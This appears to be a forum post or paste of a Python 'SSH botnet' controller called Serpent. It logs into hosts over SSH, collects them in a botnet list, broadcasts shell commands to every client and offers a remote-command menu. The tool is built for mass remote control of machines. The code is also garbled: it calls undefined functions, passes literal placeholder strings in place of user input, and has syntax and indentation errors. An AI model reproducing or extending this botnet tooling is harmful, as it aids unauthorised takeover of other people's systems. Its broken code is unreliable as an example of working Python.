Python SSH Botnet Update

 print ('________________________________________________________________________________________ ')
 print ('[  _______    _______    _______    _______    _______    _______    _         _________]')
 print ('[ (  ____ \  (  ____ \  (  ____ )  (  ____ \  (  ____ )  (  ____ \  ( (    /|  \__   __/]')
 print ('[ | (    \/  | (    \/  | (    )|  | (    \/  | (    )|  | (    \/  |  \  ( |     ) (   ]')
 print ('[ | (_____   | (__      | (____)|  | (__      | (____)|  | (__      |   \ | |     | |   ]')
 print ('[ (_____  )  |  __)     |     __)  |  __)     |  _____)  |  __)     | (\ \) |     | |   ]')
 print ('[       ) |  | (        | (\ (     | (        | (        | (        | | \   |     | |   ]')
 print ('[ /\____) |  | (____/\  | ) \ \__  | (____/\  | )        | (____/\  | )  \  |     | |   ]')
 print ('[ \_______)  (_______/  |/   \__/  (_______/  |/         (_______/  |/    )_)     )_(   ]')
 print ('[_______________________________________________________________________________________]')


 from pexpect import pxssh
 from docopt import docopt
 from getpass import getpass
 from colorama import Fore, Style, init


 class Client: #Creating "Client" as a class.
     def __init__(self, host, user, password): #Defiing the initializer, while taking four arguements.
         self.host = host
         self.user = user
         self.password = password
         self.session = self.connect()

     def connect(self):
         try:
             s = pxssh.pxssh() #s assigned as a class variable for the "pxssh" module.
             s.login(self.host, self.user, self.password) #Calling the method "s.login".

             return s
         except Exception as e:
             print (Fore.RED + '[-] Connection Failed' + Fore.RESET)
             print (e)
             anykey = input('')
         exit
         mainMenu()

     def send_command(self, cmd): #Defining the "send_command".
         self.session.sendline(cmd)
         self.session.prompt()
         return self.session.before

 def botNet_command(command, serpent): #Defineing the botNet command.
     for client in botNet: #The commands are executed for clients in the botNet.
         output = client.send_command(command)
         print (Fore.GREEN + '[*] Output from ' + client.host + Fore.RESET)
         print ('[+] ' + output + '\n')

 def add_client(host, user, password, botNet): # Defining function to allow "client" to be added.
     client = Client(host, user, password)
     botNet.append(client)

 def main():
     g = getpass #I'm using the "Getpass" module to prevent any of the following user inputs from being Echoed.
     ip = g(prompt=Style.DIM + 'SRP Shell:') #This is where the I"P address" is entered.
     host = g(prompt=Style.DIM + 'SRP Shell:') #This is where the "host" is entered.
     psw = g(prompt=Style.DIM + 'SRP Shell:' ) #This is where the "Password" is entered.
     srpnt = g(prompt=Style.DIM + 'SRP Shell:') #This is where the botnet commands are entered.
     botNet = []

     add_client('ip', 'host', 'password', botNet)

     botNet_command('cmd', botNet)

 def SRP_Shell(): # Defining "SRP Shell". This allows the SRP Shell to be used directly to execute commands remotely.
      g = getpass # Variable for the getpass module.
      try:
         while True:
             cmd = krypt(prompt=Style.DIM + 'SRP Shell:') #This is the SRP Shell, protected from Echo by getpass.
             print ()
     except KeyboardInterrupt: #Except KeyInterrupt as the method to get to the main menu.
         pass #The pass statement is used to pass anything that isn't the KeyboardInterrupt. Allowing the SRP Shell to be used as long as needed.

     mainMenu()

 def mainMenu():
     print ()
     print (Style.DIM + 'Available Commands')
     print ('==================')
     print()
     print (Style.DIM + 'Commands                 Description')
     print('--------                 -----------')
     print (Style.DIM + '1. Add Client            adds client to Botnet')
     print (Style.DIM + '2. Manage Clients        manage clients in Botnet')
     print (Style.DIM + '3. Options               option\'s menu')
     print (Style.DIM + '4. SRP Shell             Serpent Shell, to execute commands')
     print (Style.DIM + '5. Interact              interacts with one/all clients')
     print (Style.DIM + '6. List                  lists all clients within database')
     print (Style.DIM + '7. Sysinfol              displays system info of clients in Botnet')
     print (Style.DIM + '8. Exit                  exits the system)
     print ()

     g = getpass

     while True: #A While loop to control the menu driven interface.
         try:
             selection=int(krypt(prompt=Style.DIM + 'SRP Shell:'))
             print()
             if selection == 1:
                 main()
                 break
             elif selection == 2:
                 ManageClient()
                 break
             elif selection == 3:
                 options()
                 break
             elif selection == 4:
                 SRP_Shell()
                 break
             elif selection == 5:
                 Interact()
                 break
             elif selection == 6:
                 Lists()
                 break
             elif selection == 7:
                 Sysinfo()
                 break
             elif selection == 8:
                 break
                 print(Fore.RED + 'Error' + Fore.RESET)
                 mainMenu()
         except ValueError:
             print (Fore.RED + 'Error' + Fore.RESET)
     exit

 mainMenu()

 if __name__ == '__main__':

     init()
     docopt(__doc__, version = Style.DIM + 'Serpent.py VER.-1.0')
     main()